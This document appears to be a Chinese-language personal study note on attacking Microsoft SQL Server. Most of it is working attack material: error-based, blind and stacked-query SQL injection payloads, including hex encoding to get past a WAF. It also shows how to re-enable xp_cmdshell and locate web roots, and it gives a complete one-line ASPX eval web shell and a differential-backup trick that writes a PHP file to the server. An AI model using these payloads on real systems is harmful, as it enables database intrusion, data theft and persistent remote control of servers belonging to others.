MSSQL学习笔记

安装

自行谷歌

获取所有数据库名、表名、字段名

获取数据库名

Select Name FROM SysDatabases

获取数据库表名

Select Name FROM SysObjects Where XType='U'

获取数据库列名

Select Name FROM SysColumns Where id=Object_Id('表名');

获取指定表中的所有字段名和字段类型

select sc.name,st.name from syscolumns sc,systypes st where sc.xtype=st.xtype and sc.id in(select id from sysobjects where xtype='U' and name='表名');

报错注入

隐式报错

1
2
select * from admin where id =1 and (select user)>0--
select * from admin where id =1|(select user)--

显式报错

1
2
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

同时mssql自带类似mysql中的堆叠查询,那么可以通过declare绕过一些waf

1
Select * FROM learning where id =1;declare @a nvarchar(2000) set @a='select convert(int,db_name())' exec(@a) --

1
Select * FROM learning where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929 exec(@s)--

·

盲注

布尔盲注

1
Select * FROM learning where id =1 and ascii(substring((select top 1 name from sysdatabases),1,1)) = 109

时间盲注

1
Select * FROM learning where id =1;if (ascii(substring((select top 1 name from sysdatabases),1,1)))=109 WAITFOR DELAY '0:0:5'

getshell

找路径

需要路径的我们一般有几个思路:

  1. 报错寻找
  2. 字典猜
  3. 旁站信息收集
  4. 调用储存过程来搜索
  5. 读配置文件

方法一

1
2
3
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件

方法二

这里可以参考:https://blog.csdn.net/qq_36374896/article/details/84112242

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

1
2
CREATE TABLE cmdtmp (dir varchar(8000));
insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

这里利用xp_cmdshell可能回遇到问题,比如SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

这里可以用如下命令恢复

1
2
3
4
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE; //配置生效
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;-- //配置生效

方法三

xp_regread

通过读注册表 这个在win2000才有用

1
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'

直接写马

1
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx';

差异备份

1
2
3
4
5
6
create database test2;
backup database test2 to disk = 'c:\test2.bak';
use test2;
create table [dbo].[test2] ([cmd] [image]);
insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e); //3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>
backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;

几个实战例子

从 SQL Server 注入到 getshell

-------------本文结束感谢您的阅读-------------